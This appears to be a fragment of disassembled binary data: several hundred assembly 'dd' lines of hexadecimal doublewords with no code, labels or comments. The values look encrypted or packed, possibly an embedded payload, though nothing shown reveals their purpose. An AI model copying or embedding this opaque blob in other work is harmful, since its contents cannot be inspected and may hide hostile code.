		dd 0C2398786h, 0A0248F07h, 9888E0C4h, 29589501h, 0F02CCB4h
		dd 0D53F0684h, 0BD9ED318h, 3FBEE7BDh, 0F32AB016h, 0C00690A5h
		dd 7406A6F5h, 2BE2A045h, 22660E3Fh, 5DD649E9h, 27C08B51h
		dd 8AA985Dh, 0B29F2FF6h, 3830C84h, 184C8D68h, 5F51327Dh
		dd 1618B5C5h, 0C26A3BA9h, 18F8060Dh, 0FDDA01E9h, 5354C50Eh
		dd 0DCAF1EAFh, 0A4854781h, 0E409134Eh, 25AB56B8h, 8368C5F5h
		dd 3F037DBDh, 13B9CFF0h, 3DBCEE5Ah, 1228172Ch, 0B86A409h
		dd 0F856DC40h, 162EFE9Fh, 1465E66h, 3F4863D7h, 4F127ED7h
		dd 0B2A2FAh, 6D60032Dh,	9C97E93Dh, 0FAF9926Eh, 48D5A32Ch
		dd 56A261B5h, 0F717295Ch, 0C0BD2709h, 246D68B8h, 97C377Ch
		dd 0BD104AF9h, 0DDF24E05h, 0C6B2C895h, 0A7682651h, 6397BE8Dh
		dd 275BFD37h, 7CCAF8EAh, 0B5BC2F5Dh, 4118E9E6h,	654C1435h
		dd 5FA4A461h, 76D6CA8Ah, 15EEE4Ch, 1205E31Bh, 0B6A3E7Ch
		dd 0B9455C54h, 9C9B08h,	0CE6A21BAh, 77F6422Dh, 80204961h
		dd 91620BC3h, 82274F7Ch, 0E8775A01h, 0B51C6D05h, 0E37F2CCAh
		dd 7ED9D258h, 9C510E81h, 8A0CEAE5h, 6C5F7BB7h, 0CE556E09h
		dd 422B25F3h, 975DC6D5h, 9C680880h, 3D4A9B01h, 0FE810AC7h
		dd 163AC264h, 0EB12135Bh, 0DA0D3A53h, 0D604A9F4h, 4C3A6BEh
		dd 0C082B151h, 5E0651C6h, 8718C202h, 3F175609h,	0A0DE8325h
		dd 0B7656850h, 0BC8BF1h, 3A530D1Ch, 0CF4706E9h,	0DC64581Ah
		dd 199AF343h, 5F5CA617h, 2513463Dh, 0C6CEB83Bh,	7102BEFh
		dd 68364C05h, 63DF575Ah, 7CFA7F44h, 594E2BF0h, 6C683302h
		dd 821F711Ah, 2FB215ACh, 3EC930E1h, 4EAD356h, 16E1BF18h
		dd 1120862Dh, 0D2171488h, 9235E611h, 1266AEA7h,	8B575F0Ch
		dd 34852681h, 9EA06813h, 65BA5C44h, 0E5F815DEh,	0AA03FF5Bh
		dd 978D69C3h, 5532A3D2h, 84AD754Fh, 0A1A0EDDEh,	0FC20E347h
		dd 3B8F002h, 199CF648h,	4B2CFFE9h, 16279A5Ch, 985F9564h
		dd 0C5B6F660h, 0C003E395h, 0D52C4813h, 29BA25h,	7728C227h
		dd 0E98D15D2h, 0EC4EBC8Eh, 0C74F10CFh, 2064BE25h, 0A435530h
		dd 1EB65266h, 0D7F1883Bh, 0BE0952A6h, 0C10E159Bh, 0D05A0AE9h
		dd 5A277BF9h, 2A9E2585h, 14EA6C5Fh, 9D1187E9h, 93A4B5A7h
		dd 1BB1AD8Ah, 882750D4h, 56BD592Ah, 0B1D585Bh, 5F5B2AC9h
		dd 4BEC9B8Fh, 0F40AE55Dh, 9F3DD009h, 0E072BD02h, 28DEC07Dh
		dd 0ED72822h, 7C89B5F7h, 4758A1DCh, 2CB83C9h, 40A8E6BEh
		dd 5C9D59CEh, 0E7D5CB96h, 0B8C625B3h, 0F89D909Ah, 0CDC95E46h
		dd 5AFA4141h, 0B2A88253h, 6008972Ah, 2C793A81h,	3D14899h
		dd 1D806ED6h, 0DFB6C7E0h, 7C8860E9h, 2D82EB59h,	45360FD9h
		dd 83B40FC2h, 0F70CB546h, 11255C40h, 33405877h,	0FB4AD7F7h
		dd 3E4620C9h, 3105CFBDh, 0FE414C59h, 0D9BF9013h, 0C727604Ch
		dd 6BC66D13h, 0E9E4D1EFh, 899D65E5h, 5C4F42DEh,	28D862ECh
		dd 980B9657h, 5D630CDAh, 8B0C70FDh, 18305B0Fh, 8E92401h
		dd 19BBB3E0h, 70C71EA6h, 0B9D489D8h, 90D946ABh,	7B6027E1h
		dd 45CFCBDEh, 69F962E4h, 8E5C007h, 15893FD0h, 0AD3ED7F8h
		dd 4EA55D68h, 0BB0AE38Ah, 27906C4Ch, 4345397Eh,	0F8A86FC5h
		dd 0D54CA24Eh, 0F0599ED3h, 522EEB24h, 6C9BA087h, 0D83000F9h
		dd 0E886F2FEh, 0FB9F4B2Ch, 4EB14831h, 9807BA3Eh, 0F2332AE2h
		dd 9D21B7C2h, 413F61E9h, 55CFF621h, 0DA70A877h,	5B4AD620h
		dd 0A12D1431h, 0B205414Fh, 61D60FD9h, 9FF82E33h, 2CFCA061h
		dd 488070E4h, 0B07E6B41h, 0D19D21CAh, 6AB0E22Ah, 30FA05E9h
		dd 3509F636h, 0F75F45E5h, 0D569C253h, 7EE99A51h, 4D8353C9h
		dd 0DFBD6402h, 0FD3D1B3Bh, 536BE883h, 47F5FD02h, 5E194285h
		dd 0C8890679h, 57B07759h, 0CB535067h, 8DEB06BFh, 9B7F0951h
		dd 3404B0BBh, 6817A05Fh, 4E6EAA38h, 5E639BEh, 84B3BB94h
		dd 0DDFDE9C2h, 4F0B44D2h, 80171210h, 0FE44E8F7h, 4B209751h
		dd 0C41BE2E7h, 204F2E30h, 0C57C135Dh, 0FB540EB0h, 406F7944h
		dd 0FF5A10D2h, 0D649B751h, 1FEFAF2h, 56008969h,	0E07C2FB4h
		dd 51A273E5h, 1BBB0478h, 0D15D431Dh, 0E0503E44h, 0F33E8922h
		dd 233585Eh, 3A8D2555h,	2D467021h, 435C450Dh, 0F2D96252h
		dd 20060B4Bh, 0A8850C39h, 0EFCEF4B3h, 89A0CDBAh, 62E73158h
		dd 40FA3F0Dh, 0F5D94801h, 0B59352Dh, 91BC4945h,	0E9A0BB5Ch
		dd 1AB7C579h, 3389D77Dh, 0F702C271h, 0D77068F1h, 5152606Eh
		dd 36DD8527h, 5DCBA4A9h, 687003D0h, 7EB73370h, 7AE9C17Dh
		dd 0F5317B27h, 5A29E21Dh, 806853C2h, 7A23F477h,	5648BB96h
		dd 125400E2h, 0D5F76266h, 0BCE9394Dh, 939B5C5Ah, 1E2CAB0Bh
		dd 554029E9h, 53579EF6h, 3C1AE1BEh, 748CE11Ch, 6EC4796Ch
		dd 56F1413h, 591E6642h,	3E19D0BFh, 325F02F2h, 37FC6646h
		dd 2FCD5293h, 32E6BE93h, 0DFC75F25h, 580A53A2h,	62379D68h
		dd 321D863h, 295DBD12h,	75D22701h, 80013176h, 0CA3051F1h
		dd 902E02E9h, 0F461BD62h, 8697A37Bh, 988089B8h,	0BDAE7020h
		dd 6BBF3819h, 0BAF9F5E5h, 1220D935h, 5004B60Ch,	0B86220E9h
		dd 0E1D7C677h, 8A2F5C9Dh, 9252739h, 521676ADh, 1607A55h
		dd 7477DC2h, 52E04CE9h,	0CDF95F17h, 9490E958h, 32F24C9h
		dd 7B3A78E7h, 0B535C08Ch, 95089727h, 2FFCEEE9h,	7D2219D8h
		dd 639A2A06h, 328B816Fh, 0DBBD00D6h, 434AD416h,	0AE58F2B8h
		dd 2E4F9904h, 0CF2CFA37h, 78583A42h, 0E9C50982h, 2C481D11h
		dd 8D2C33D3h, 0A4163035h, 78E3F784h, 801FB102h,	0E08463C1h
		dd 0E1C2AABDh, 53136088h, 0BAA879B3h, 0F31E2502h, 0F288C47Fh
		dd 0A7FAB7D2h, 7D8EF205h, 51C229D8h, 70495D5Ah,	5FFC40Eh
		dd 1BACC1B5h, 0F8368C2Ah, 6DD8481Fh, 0F7A5455Fh, 0FF972594h
		dd 5E3AA90h, 0DDEB24D7h, 0F28764E5h, 4E871040h,	76C8FBEBh
		dd 86EA5A29h, 68551A2Bh, 4423350Ch, 0C123C3F0h,	62F03FBh
		dd 25D0F402h, 0C281215Fh, 0C07ABA4Ch, 0DCA0FD19h, 92E9E608h
		dd 0C2830972h, 186A4287h, 0A35FBF00h, 76310D24h, 93C7BDFAh
		dd 0D519E905h, 4FB8849h, 82B37555h, 372ED713h, 0EBD4854Bh
		dd 0F166A809h, 0BA68E2E3h, 0D9270F7Ah, 70E3DC36h, 555E5854h
		dd 0CE0E58F6h, 13561B57h, 3084BFDAh, 0E149ECEFh, 0F9805FE9h
		dd 48643305h, 0A35B6821h
		dd 0B902FCA3h, 18A6588Dh, 680510D6h, 105E15B5h,	0F7E90671h
		dd 0C1D512CBh, 8E02AEE2h, 62CFAAEAh, 0C6895D6Ah, 6003D97Dh
		dd 0A233F1BBh, 0A0CA0550h, 0D0833B3Dh, 4217CAD6h, 34FB1D76h
		dd 8791AEB5h, 0A9D4C7FBh, 0A27620E9h, 0DF735176h, 0F653CEBFh
		dd 440B5E4Dh, 0A83497C4h, 76A9D62Dh, 12D53125h,	0DF177D0Fh
		dd 6424B220h, 0DFC9C4D1h, 0D604B950h, 5B474667h, 2E4C41BAh
		dd 0F9B8B998h, 7DC6FADFh, 6D728FFDh, 22A8B11h, 5C15FD02h
		dd 715D7A4Bh, 43A6262h,	35CF457Fh, 2E2DFFCCh, 7DB39520h
		dd 48320071h, 0A07AED2Dh, 0F80E0D6Fh, 411B0510h, 326D65CAh
		dd 373622DCh, 93184707h, 4C04AAD5h, 782C4023h, 40B4ACBFh
		dd 87545808h, 0D534E958h, 0C5FF9B06h, 0FFA31294h, 138063C9h
		dd 2045B951h, 815C1F6Dh, 142B0B4Fh, 92F726Ch, 48693512h
		dd 1FC4958h, 0D5C9FC2Dh, 280E4302h, 56A81177h, 8247DEE4h
		dd 0EEF317A0h, 74AC69Ah, 0E92B42ABh, 407BADC8h,	3A2E90EFh
		dd 0E2C544D4h, 0C6EA18FBh, 1D74F217h, 0BD76F369h, 551BDB84h
		dd 0BE13FE1Dh, 9389E2AEh, 54141BADh, 0E407865Dh, 0DF71D82Fh
		dd 0AC9A4F29h, 26CA4C77h, 8B0E42CBh, 325F5D96h,	267880AEh
		dd 2550F45h, 219ACB81h,	0D5D662F6h, 2238471Eh, 5F749F88h
		dd 6D804264h, 0E54A23C9h, 5731CC80h, 0AE93754h,	0C2B034F7h
		dd 0A6C38CB9h, 90AF4FB7h, 5964E19Ah, 425A2E0Ch,	18A14E4Ah
		dd 6671E333h, 7A2560D7h, 9C5E250h, 6B68F796h, 885FE9F2h
		dd 3DB81DC0h, 261E0139h, 100D4D2Dh, 17B56C6Ch, 32ADBCD8h
		dd 0D25FADEh, 3D84D3A0h, 0EFB871BCh, 27ACE520h,	8D7883BEh
		dd 6E7A296Ch, 0C6E9185Eh, 68E1C121h, 0AE19B726h, 82FF5264h
		dd 0D175411Eh, 3F6E031Ah, 7CE23AE2h, 0E90C0232h, 2546F6EFh
		dd 2744A57h, 60CEFBF2h,	2555615Bh, 88DF1A3Fh, 5E09086Bh
		dd 16FBD429h, 7A9AE1B4h, 55CFCDFCh, 0FF1B79A5h,	3868098Ch
		dd 0EF5E6F81h, 0BD3A163Dh, 0ECE9834Dh, 5C5E311Eh, 2E89B26Ch
		dd 8B3F788Dh, 0DB6D1274h, 683D70AFh, 3EE162ACh,	6FE6A0E8h
		dd 28356816h, 6E0269EAh, 0FE92CEE2h, 0F0C457B3h, 3FE7FB1Fh
		dd 6825C420h, 5E175AF7h, 3705FD7h, 7DF45B05h, 8B5898DAh
		dd 0C25359B7h, 987F2EE6h, 5DB832h, 354D1D5Bh, 321272A3h
		dd 1D6169Dh, 630C1D7Eh,	18333E9h, 85DD62B3h, 0ED19C47Eh
		dd 0A50D9FF6h, 0F22A863Fh, 0B38C9F0Fh, 0C9D6355Bh, 40045AE5h
		dd 0BD55F0BEh, 0BD0DC93Dh, 1735182Ch, 3D81472Ch, 767E25C7h
		dd 4FF71F7Ah, 0C05092E6h, 0B668560Ch, 65207102h, 92025CE9h
		dd 0B0157A82h, 79BD69B5h, 51A9D482h, 529277F3h,	0CD291504h
		dd 6AEF8706h, 834C5802h, 5DFA017Bh, 0BACEB814h,	0BD32B8E6h
		dd 0ED3F1A65h, 0F9F0142Dh, 0B4F22928h, 0A66C700h, 560C3549h
		dd 140D4FACh, 6E2ACE3Fh, 0ED8100EBh, 0F6A4DA5h,	7598D529h
		dd 0CC050883h, 2817398Ah, 363072B9h, 3202C6C3h,	481B0F3Bh
		dd 0EA5A0FFDh, 0DFE68048h, 907BC424h, 20440BCEh, 0F6E36384h
		dd 628E940Ch, 0FF8CF4EFh, 0BAC34D92h, 32B2C187h, 11A0757Ah
		dd 3E9E7255h, 16280D01h, 0E8830C82h, 4284992Eh,	80002DBAh
		dd 9F281DEFh, 92EB5CD8h, 278AAD06h, 5BF9880Fh, 327CE1E7h
		dd 53F85CC9h, 7BC90E4h,	0CEFBCB3Ch, 292048EFh, 0D5278119h
		dd 0AC580884h, 0EA0DB226h, 0C2D440CBh, 6E4E131Fh, 0E1752352h
		dd 295DB498h, 0C415446h, 9A8B616Bh, 0C1217F0Dh,	9C7FCF29h
		dd 175A6EB6h, 9DE91060h, 0B2B08045h, 0D4FB514Bh, 0FD9DEA99h
		dd 0BB5C7CF4h, 33D427B3h, 0F7E590E9h, 5D17248Ch, 11C7010Eh
		dd 2EA7BB92h, 98FEA9C5h, 0F748CD77h, 6B4DDD3h, 0E98445A9h
		dd 2916BBF6h, 12DF8BEEh, 93E40FBDh, 1E46F4E1h, 0C6C18127h
		dd 0C557967h, 192D9BF6h, 38A35C8Fh, 6980D1A5h, 7A1B3D63h
		dd 76A83CC2h, 0F28082FCh, 0B2E7553Fh, 0F8BBC427h, 0C9EDC0E0h
		dd 188A0E25h, 473A99B8h, 4124935Ah, 0B61B7E00h,	4F09AE8Fh
		dd 0BC892CEh, 0D02F5356h, 0F05AA04Ah, 222FE92Ch, 0B550FE6h
		dd 0A7A3C751h, 40E18E57h, 0CD702925h, 2D050230h, 8948BFE4h
		dd 0D3199F5Ch, 2BBE714Ch, 80644E76h, 2860BB08h,	632F3326h
		dd 0BA024310h, 0B97B9A8Fh, 5977CBC2h, 0F3DFC936h, 81F5EB22h
		dd 29414513h, 0D606A642h, 76FC27C8h, 0A90ADEEBh, 88772768h
		dd 772710BFh, 585DCF80h, 289653E9h, 0A8916BBh, 212001E3h
		dd 7B389C7Dh, 55EFEFEh,	893C1EBFh, 78FAC03Fh, 24FBFC97h
		dd 64DC071Ah, 402507E2h, 0F731AC57h, 6C35D805h,	5BC76127h
		dd 0BD00B564h, 21A11FECh, 0D8AAF795h, 4999021Eh, 24C073E9h
		dd 0D64CBB58h, 85AF16AEh, 0A9BF6334h, 0B1E2B5ABh, 0E128E985h
		dd 66D0FCCCh, 43A85B4Bh, 215F1B1h, 94567721h, 129CF358h
		dd 440F4008h, 0A150E95Bh, 0FDB2D799h, 0EE029289h, 72E671DAh
		dd 5456B807h, 0E9DF1069h, 6453763Ch, 3C32EE58h,	6B8409ECh
		dd 0C4D3F864h, 25138429h, 0EB4394EAh, 0D8B54205h, 2F6872D8h
		dd 464C7B4Fh, 234F8AF4h, 0BAC026ACh, 69F84C01h,	9AB7E91Ah
		dd 5169F742h, 5A26F8FDh, 6055828h, 36BEE916h, 9B8867CDh
		dd 0D62DAEC9h, 8B7FA589h, 0BF30F0E1h, 6816AAE6h, 1CA347B9h
		dd 313B826h, 35E2813Ah,	0C15E0B88h, 769005ECh, 8232C801h
		dd 5551E927h, 0D118393Ah, 52F0C03Eh, 80C0B600h,	0D6F613C6h
		dd 16B10F51h, 0E161C9FEh, 7E93E902h, 1AE6617h, 8A0925ADh
		dd 3532301Ch, 23491512h, 0F4E9C5C0h, 41F62D6Eh,	590031FDh
		dd 2C23A02Ah, 2AC18C31h, 0CC392DE2h, 0BFA95016h, 7BB9F130h
		dd 20AF257Dh, 0D2C1CEF0h, 2B713E01h, 91E9E58Bh,	71659A9h
		dd 0F6FAC497h, 5812CE4Fh, 402B68EEh, 42A609C7h,	66068E0Bh
		dd 1D8C6BCCh, 521D687Eh, 0C6ECDE12h, 3D8E982h, 73D5DFA7h
		dd 0F3FE299h, 0FE1013CBh, 21CC7DACh, 0F0BD5B6Bh, 0C275164Ch
		dd 10DCB971h, 5327D807h, 529BD6F1h, 0E9D390FEh,	0CC414B18h
		dd 314EE417h, 0D050D3F2h, 0D1FE52FFh, 39056305h, 27B40154h
		dd 3C0B56A5h, 52491ED0h, 0A0E5AD89h, 0AA4063AFh, 0BF2D4E14h
		dd 1FBABB12h, 31DEFA05h, 0A73469B3h, 71E85FC1h,	120021BDh
		dd 0CD81377Fh, 97414F2h, 2B946875h, 9D804959h, 0E93EDB2Ch
		dd 3A956F58h, 0AAE4C70Eh, 0C0BCA34Ah, 0E58BD55h, 4553397Ah
		dd 68819A5Dh, 0F6F933C2h, 0E637C261h, 71C10102h, 0F1294243h
		dd 164D840h, 0E2389427h, 7633407Fh, 325481D2h, 9368C256h
		dd 61CCD57Fh, 48349501h, 3FEAE961h, 2F1DF67Bh, 69147356h
		dd 1B6BCC82h, 8B2D43D2h, 1C856E70h, 273A8F68h, 41045D5h
		dd 0AEE083E9h, 1FF8828Ch, 492B0379h, 0CCA153EEh, 215A6665h
		dd 0A64B20DEh, 4440D34Ah, 5E9C63C1h, 8E2109BAh,	0FA8987B7h
		dd 299DF656h, 0DF13BFA6h, 0EF8013B2h, 23568D0Fh, 1B532D00h
		dd 0F8295AD0h, 1607A205h, 2BE9129Eh, 0B2E730E8h, 0EA398055h
		dd 0E6C28930h, 2E680288h, 0DFDBA299h, 0A828545Bh, 92C8B58Eh
		dd 0FBBFFB29h, 0CFD527A6h, 0F09F96C4h, 6817522Ah, 2CBA14BDh
		dd 80B5337Fh, 28C4B674h, 526FF2CEh, 167696FDh, 5D9A21h
		dd 136305BBh, 2507117Fh, 7AA133BEh, 0C819B250h,	0E3350002h
		dd 8918167Eh, 0D14AE9C5h, 0F4BB81C1h, 31E60D6Ah, 0FAE342DCh
		dd 5F126A78h, 0F7FFF029h, 67A84A11h, 17B550B8h,	5D66120Fh
		dd 0B2BE0714h, 0F03183D2h, 0B3952DDh, 0D77021EAh, 3EFFE182h
		dd 66E91316h, 0E0ADC952h
		dd 8E9A11F9h, 0EE5CFD72h, 0BE722931h, 0BC165002h, 0BE37839h
		dd 25E4CBF5h, 2420B1D2h, 1581318h, 4EBD04CEh, 0C98AF6Ch
		dd 40D24C0Eh, 0E27B12D8h, 0E0AEDC97h, 419E05EDh, 822D52BFh
		dd 594C5508h, 167D6B20h, 30742568h, 2CD5B0EFh, 0C508A301h
		dd 0BEF58058h, 30E30689h, 0EB04FA8Bh, 0CCB707DDh, 56AFBB72h
		dd 0DCA98CB3h, 6402350Ch, 8102A009h, 0EAA97FEEh, 0F6FC6009h
		dd 0ED40D3A8h, 25E17728h, 5B150E48h, 412778ACh,	0B67E018Fh
		dd 0D15D2722h, 6EB16354h, 45B82E66h, 0EEBB050Dh, 0C0467F27h
		dd 0E33A68C0h, 0F4433D3Bh, 750F091Ch, 8029F465h, 0A915BBCBh
		dd 0FE73E92Dh, 56825F96h, 570DEC5Dh, 728046F6h,	21664BF3h
		dd 0CCE98BCEh, 0AB4F7AEBh, 59470908h, 83588882h, 73986805h
		dd 0C956F633h, 1D344B7Dh, 752AFDEBh, 0F8CB005Bh, 252FD33Bh
		dd 604B140Eh, 76A7A13Dh, 0B02F0A69h, 0A5390520h, 0AAA04A48h
		dd 0B9F1E4C6h, 0AB58640Dh, 7F33C741h, 0CE8011CEh, 0A3292E8Ch
		dd 18BECA01h, 5204364Fh, 540F9B35h, 0EF8859A5h,	0E9BA20CCh
		dd 2CCF883Dh, 1FEC9CDCh, 0D4C6F7D8h, 0F2B3BE66h, 6E0C6809h
		dd 8162CEF6h, 17222B22h, 4020356h, 2E165221h, 6E6F0B3Dh
		dd 0AA66E104h, 0F89A5F02h, 0EEC304FEh, 0C95209F0h, 0C5F41A32h
		dd 4608F760h, 8A564B1Bh, 405D27C7h, 4F14C22Fh, 70CC008h
		dd 3503E0D1h, 26A31FB9h, 3CEEF02Dh, 0A15E95F7h,	0D2E82158h
		dd 42E6EBAFh, 3AE9E709h, 572506FCh, 13240D45h, 0EFC16B1Fh
		dd 0B144E97Fh, 70C762Fh, 0B081DD95h, 254FE907h,	9DA96A16h
		dd 0F748C2E4h, 87525709h, 0BB2FAE2Ch, 4728D889h, 895D940Ah
		dd 0E53B6004h, 74054016h, 3241F2Eh, 0AA59A225h,	2DE9D138h
		dd 0A437BA01h, 1016034Ch, 0AD4EB8ACh, 40D510F4h, 0F339E909h
		dd 5C95C87Dh, 0B376BFBEh, 0D734358Ch, 17800FC3h, 0CBAF3EE2h
		dd 9008E81Fh, 330E2299h, 0C7B0FF97h, 185ED6E9h,	68E188A8h
		dd 16FDE6FCh, 5DE92718h, 759DF278h, 1BBEE194h, 0AD186552h
		dd 0CF02337Bh, 0E55005E9h, 32F9252Ah, 5251C16Bh, 7F8B997Eh
		dd 9278DEE1h, 25B4C602h, 0B26033A1h, 705E58FDh,	1CA0C3F1h
		dd 141CD008h, 13268B4Ah, 9E8478E9h, 85ADB8BAh, 0B0B83607h
		dd 8C4B60C4h, 0D15A01B4h, 0E9F028AFh, 0E3A1382Ah, 266172B7h
		dd 82E43B84h, 4527EA55h, 39316075h, 0A7BE80C1h,	7C302A1Eh
		dd 0E9C21096h, 0C56FB5Fh, 4B441E41h, 0E05AB5ECh, 0F3686B71h
		dd 80F8373Eh, 668557E0h, 0D54BB4B6h, 0E9615E65h, 236AA529h
		dd 0E7CA2B4Ch, 0C28141FCh, 0DCF05587h, 987BDB61h, 0D409E963h
		dd 0D625CE58h, 2508A07Ch, 0CBE6525Eh, 31A16815h, 0C05B57h
		dd 0BFB33A7Bh, 7F20E05h, 0FC67E907h, 0A20EC57Fh, 0C5B1FB0Bh
		dd 990106E5h, 58D6682Bh, 282E2749h, 6E00AD8Eh, 0A4BF43A8h
		dd 95354B20h, 0F7120077h, 4743FB7h, 0E9FD2134h,	2BBE816h
		dd 227FE4BBh, 1292802Ch, 16E7049Ah, 0B5B5153h, 51D2A0A5h
		dd 0F30BECFFh, 774E1F7Bh, 0BC6F56ABh, 0B857B88Fh, 7FDD4144h
		dd 0C9EA0DC5h, 0D69E40B4h, 0F782A21Ah, 63832442h, 0D0C22EC3h
		dd 5A3AA80h, 810234F3h,	40E64E7h, 17C04039h, 0A0375B22h
		dd 2C966159h, 0FC0C83E6h, 1D7F600Dh, 0B23CAFE1h, 0BE564A01h
		dd 245B0875h, 0CE487178h, 8BB8BC4Ah, 27114559h,	0E920B075h
		dd 0B1F794F7h, 28945884h, 0E368822Bh, 0CB6B5962h, 0FFA6EEFFh
		dd 31B0AB14h, 74E92D51h, 6D590489h, 0C0F4CDE2h,	3883AD7Eh
		dd 0EA48207Fh, 530BFB18h, 1E2FA3EEh, 38FED088h,	38B51A6Ah
		dd 0C096FB0Ch, 0CC72BF0Ch, 0F6BA522Dh, 0E377A721h, 0CFE9F8E9h
		dd 6887C295h, 0ECF61245h, 0C818D46h, 25A5BFBAh,	98679B94h
		dd 6562492Eh, 91FB7627h, 99EE4E10h, 0BF78443Eh,	54E0FE95h
		dd 24B24BF5h, 90A9EFF8h, 2AC2D06Fh, 0D4753E22h,	9942455h
		dd 0D230D029h, 1F19C605h, 2D1A73AAh, 7FE90741h,	0A63A7D65h
		dd 775C8C60h, 35101FBEh, 0F506FC6Bh, 978BE95Eh,	0B8E65A4Ah
		dd 9FE08C3Eh, 8A49CFE1h, 54ED315Eh, 4B88DF10h, 0E24DEFFh
		dd 1255A468h, 0A8E7AEh,	33DEED81h, 2FE979A3h, 18C5F746h
		dd 8066B200h, 9708C0EAh, 4F8696FFh, 0EFFAC474h,	0FD2590F2h
		dd 0E9064E45h, 92BF208h, 674D5DEAh, 9827637Dh, 4FD35776h
		dd 2C6AAC19h, 0D81157Ch, 32952516h, 0FA051270h,	0FFC7274Ah
		dd 84174F5Dh, 0AAF017E9h, 5F7B82A6h, 3B8EB112h,	0B0B5E5E8h
		dd 12177645h, 61913654h, 0A2E6A3E9h, 0DD7894A6h, 2CBC96E5h
		dd 1A1032CBh, 39D82116h, 0C7457A94h, 74AB359Dh,	0BA0BFADCh
		dd 0A95F5AACh, 133E4B01h, 7EB6BBDDh, 0CF52E9C2h, 0DFF9A47Dh
		dd 317C62C3h, 10DDBFAh,	0C1C160F5h, 813730B7h, 255202E2h
		dd 0DAF76A29h, 0FB001E76h, 79E99FFEh, 0A9999568h, 3B93605Bh
		dd 20B4B086h, 61902337h, 5F2B7104h, 0D104092Eh,	0CAB6BE92h
		dd 28527A42h, 89CFFED6h, 10B0A64Eh, 592CA05Eh, 0F8363943h
		dd 1A9F9409h, 8C28092Dh, 2FE90D0Ch, 0F7AB842Ah,	0E47E2B7Fh
		dd 650205B3h, 0F35C2903h, 0E90C405Fh, 3E603337h, 0B551D800h
		dd 0CD801FCEh, 815952D7h, 2BE328AFh, 261261BFh,	6B6735F2h
		dd 3E322EA0h, 6778D129h, 63433407h, 0C095F95h, 0F63DA568h
		dd 7B45CF4Ch, 160AF330h, 0FAFCED80h, 0F48F0692h, 0EBFA64F1h
		dd 0F5283B39h, 6632C375h, 0D5680A59h, 0A1AF6A4Bh, 7882E950h
		dd 11BE0EFBh, 5661C702h, 491D9DB2h, 0A02EF2A6h,	0AE2D24D5h
		dd 646ED650h, 4F40AB29h, 8611AD8Dh, 1E0A5AE9h, 64D425C5h
		dd 28701E08h, 97ADB2FDh, 0A9CB31C8h, 1C8C0710h,	0C70BB901h
		dd 97DE313Ch, 0C8FB407Eh, 201E809h, 3C240548h, 6B20EBA7h
		dd 0FD0C13BFh, 0B06DE870h, 5848297Bh, 68C2332Dh, 215E4636h
		dd 0A6059560h, 0F3810F0Ch, 1981082Ch, 2AC011E9h, 78109BE3h
		dd 4CC5853h, 70791973h,	5E080B24h, 304C34D5h, 0ED41F132h
		dd 0A2D96A2h, 0D1E04214h, 82F06BA7h, 0F02487A7h, 128CE85Ah
		dd 9B91B7DEh, 0CB053B09h, 27EA6F37h, 82D5364Bh,	1133F50Bh
		dd 805FB09h, 880B0A46h,	62B27DEFh, 0ECAC405Dh, 0A14DB265h
		dd 0B3FD6997h, 0EE381F0h, 57DA3CEBh, 0C315DDDh,	7D0C2049h
		dd 8C6D7E38h, 0AE0A56E9h, 96BF0BBh, 5C316678h, 84A29CDDh
		dd 1835513Dh, 522D1C26h, 3A1EDDB1h, 8BAEA912h, 0EBBC4F05h
		dd 0B20E6284h, 0AA0C88E8h, 3CD59568h, 95F99D0Ch, 1F5424CBh
		dd 542947F8h, 42B44813h, 5C5D6DE1h, 48F97384h, 51E33F08h
		dd 57F950h, 0B35B8E68h,	52565F63h, 9175DCF1h, 47BC4E4Fh
		dd 0FCD01676h, 0FEFF85F2h, 0CF00CE1Fh, 157E6A25h, 0E6D34E9h
		dd 0B4AFEC58h, 0F182F8BBh, 0EA2E5358h, 6942DD29h, 685D00FAh
		dd 0ACA644B8h, 0D80E0E90h, 0D3395A11h, 0C7615700h, 0BBB5854h
		dd 0D07E87CEh, 0BBE74005h, 4BAE6E98h, 844FE2E8h, 890434C5h
		dd 0AA6882EAh, 0E0006EC4h, 0F7775330h, 98E6C1D6h, 0BD465DC9h
		dd 0EDC05A01h, 30CDFE06h, 4597018Fh, 0D2DA3075h, 620B521Ch
		dd 590CC8E9h, 0A81B3C5Ch, 0BACD8F54h, 644287E1h, 4AB34A36h
		dd 0BC4AFDBDh, 0F6D2B2D7h, 0AF52BF93h, 0BE0120DBh, 53665A5Ch
		dd 0B9658B9h, 4CA78B31h, 7E49803Bh, 4E0142F1h, 4068D4Ch
		dd 97B5BE0Ch, 5235AF2Eh, 168E5C0h, 0C141AB22h, 75C273C7h
		dd 0FDADE853h, 6B024E39h, 0BCF419B8h, 9E6872Eh,	4067FD09h
		dd 0BBA05112h, 3352174Eh, 0A2921207h, 0B6B98096h, 0C1F8CCADh
		dd 317CD484h, 77BA3019h
		dd 1E405A17h, 52FFAAA0h, 890CE137h, 993C1920h, 3445FE12h
		dd 0BDCBEAh, 6E5D4798h,	7D673DBEh, 90E91286h, 0F20C915Bh
		dd 0ED23F57Fh, 0ADCBBD72h, 5B0969C7h, 0D24F827Ah, 49B33B58h
		dd 54144BE2h, 0EED78BE4h, 0EDC1C501h, 8069704h,	6C0088ECh
		dd 0EE316FAAh, 5701055Dh, 0E946AC7Ah, 4F7C4124h, 28D02CF0h
		dd 0EAE9F80Dh, 6F448AEFh, 3FF5EAC1h, 3494ADEFh,	79A7F5AEh
		dd 32AAF4E8h, 20E428CCh, 97EDD420h, 234AA5E7h, 33D1F78Bh
		dd 0F40D4B7Dh, 604EA7E3h, 5040D8h, 3759BF57h, 5DB85415h
		dd 0CD050BC0h, 142B2056h, 72DF829h, 5EF6F75Fh, 0E96E03BFh
		dd 0FB407D05h, 0AC9A56A8h, 33094702h, 852D5802h, 0DC05E06h
		dd 906FEA55h, 30440D52h, 7A0C6920h, 4FE908A4h, 5AE2FCEBh
		dd 7BDC39FFh, 1712DDE3h, 0A831BFFDh, 35783DCDh,	0D989AB93h
		dd 9F05A2F8h, 0FF03E8D9h, 0E1FDBA11h, 0AF65554Fh, 83A50838h
		dd 168DF9C5h, 7605FAC9h, 6DFCE054h, 3C51558Bh, 7288A5Bh
		dd 942D6453h, 3A23894Bh, 0B004A7A5h, 0E909C7CEh, 0ACEA8ABh
		dd 0C3EAF783h, 421C97F6h, 14FBDA6Dh, 0CCB07B13h, 9CDC3217h
		dd 0DC975034h, 1DEC2CC6h, 6C79E53h, 995FE9F9h, 5051899Ch
		dd 0ACC99EFCh, 0BFC1EC42h, 0E962B4F9h, 16425058h, 442A7968h
		dd 972227h, 0F02807B6h,	815A6366h, 0F8A2D7F6h, 0CE51677h
